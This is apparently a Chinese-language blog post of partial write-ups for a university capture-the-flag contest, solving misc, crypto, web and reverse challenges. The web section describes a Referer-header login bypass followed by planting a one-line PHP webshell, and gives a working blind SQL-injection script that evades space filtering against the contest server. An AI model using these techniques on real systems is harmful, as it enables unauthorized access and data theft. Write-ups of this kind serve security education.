侧边栏壁纸
  • 累计撰写 10 篇文章
  • 累计创建 10 个标签
  • 累计收到 1 条评论
CTF

贵州省第一届大学生网络安全攻防大赛部分WP

小海
2022-09-03 / 0 评论 / 0 点赞 / 114 阅读 / 2,208 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2022-09-03,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

MISC

题目:瞅啥
打开是图片,binwalk -e 分解出zip压缩包,有密码
用010打开修改图片高度得到解压密码aptx4869
image.png
image.png
题目:traffic
打开后发现ICMP协议下方不对劲,有hahaha加一堆a,过滤ICMP,量不多,自己手写,估计是提取后转ascii,
写代码爆破ascii,出flag
image.png

a=[144,150,139,145,165,91,109,151,122,113,106,119,93,167]
for i in range(-90,1):
 flag=''
 for j in a:
 flag += chr(i+j)
 print(flag)

Crypto

题目:变异凯撒

115!111!111!155!1!515!1511!151511!15555!11555!15555!5515!15555!5515!15555!55551!11555!
55551!11555!55111!11555!11115!55111!51111!55555!5515!15555!5515!15555!11111!11555!5555
1!55551!1555!55555!11155!55555!1555!15555!11155!55555!55555!15555!55555!15555!55555!55
555!11111!15555!15555!55555!11111!55555!51111!55551!5!15555!11111!55555!55551!55555!11
115!55555!11555!15555!55555

将1替换- 5替换. !替换/ ,出。后面那串拿去base16解码,最后那串又是爆破ascii,出flag

GOODTRY!676F6F64747279215F6F60744B585B68556565506650514E6054595765
goodtry!_o`tKX[hUeePfPQN`TYWe
c = r"_o`tKX[hUeePfPQN`TYWe"
for move in range(-10,1):
 flag = ""
 for i in c:
 flag += chr(ord(i) + move)
 move += 1
 print(flag)

Web

题目:Getshell
访问靶机后,可通过源代码进行审计发现漏洞。$url变量解析Refer头,结合parse_url文档,将Referer改为
file://localhost 即可作为admin登录
在此基础上,将一句话木马写入content参数,访问admin.php。成功写入,连接蚁剑出flag
image.png
题目:必考题
image.png
sql注入题,检查参数后,发现只有uname可以注入(尝试过程:在uname中可以通过语句 ’ or false # 来控
制显示用户名是否存在,而pwd字段无论如何都是password error)。使用burpsuite扫描后发现,
select/union/空格等内容被过滤。空格可以使用%0b进行绕过。由于用户名和密码在同一表内,因此可以使用
盲注获取密码 登陆即可得到flag

import requests
headers = {
 "Content-Type":"application/x-www-form-urlencoded"
}
# 设置了请求头的情况:
table_name_dict = list(range(ord('a'),ord('z') + 1))
table_name_dict.extend(list(range(ord('A'),ord('Z') + 1)))
table_name_dict = list(map(chr,table_name_dict))
table_name_dict.extend(["-","_"])
password_dict = table_name_dict
password_dict.extend("!@#$%^&U()_+{}[]:.1234567890")
pwd = ""
for i in password_dict:
 r =
requests.post("http://39.108.16.209:50001/",f"pwd=1&uname=admin'%0b%26%26left(pwd,
{len(pwd) + 1})%3d'{pwd}{i}'%23",headers=headers).text
 if(r.find("user") == -1):
 print(i,pwd)
 print(r)
 pwd += r
 break
 # print(i,r)

Reverse

题目:ez_re
使用IDA打开发现大量花指令image.png
经过查找,在sub_4006C0函数内可发现加密结果。如下图所示,若值与7;
<73ief0hg:g07e5d0;73i038h7i5;feddi相同,即为flag考虑到代码中最终传递给比较函数的参数为v14,在代码中寻找与v14写入相关的函数为可初步分析其为仅作了3位的偏移,脚本如下:
image.png

x="7;<73ief0hg:g07e5d0;73i038h7i5;feddi"
flag=''
for i in x:
    i=ord(i)
    i=chr(i-3)
    flag+=i
print(flag)

0

评论区